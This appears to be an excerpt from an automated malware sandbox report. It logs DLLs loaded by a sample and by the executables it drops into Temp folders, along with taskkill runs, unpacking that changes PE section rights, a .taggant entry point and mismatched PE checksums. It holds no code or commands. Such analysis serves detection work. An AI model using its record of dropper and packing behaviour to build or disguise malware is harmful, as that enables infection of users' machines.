Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1950208 > 1048576

Source: file.exe

Static PE information: Raw size of olvlyudu is bigger than: 0x100000 < 0x1aa600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;olvlyudu:EW;khkyjidv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Unpacked PE file: 8.2.2bfd73b1c9.exe.b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;saixhvao:EW;cgvumvdv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;saixhvao:EW;cgvumvdv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Unpacked PE file: 10.2.0a29ef6c7c.exe.930000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bvkzsckp:EW;wpxlzhew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bvkzsckp:EW;wpxlzhew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Unpacked PE file: 29.2.9f58872eb6.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W;jwaseymg:EW;reksrrmv:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006D42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x439b58 should be: 0x4301a9
Source: 0a29ef6c7c.exe.6.dr	Static PE information: real checksum: 0x1c41a7 should be: 0x1ba7c6
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1c41a7 should be: 0x1ba7c6
Source: e6b1d28aa7.exe.6.dr	Static PE information: real checksum: 0x439b58 should be: 0x4301a9
Source: 9f58872eb6.exe.6.dr	Static PE information: real checksum: 0x2c251f should be: 0x2c6e14
Source: file.exe	Static PE information: real checksum: 0x1e068f should be: 0x1e0e61
Source: 2bfd73b1c9.exe.6.dr	Static PE information: real checksum: 0x1d14c0 should be: 0x1d5929
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e068f should be: 0x1e0e61
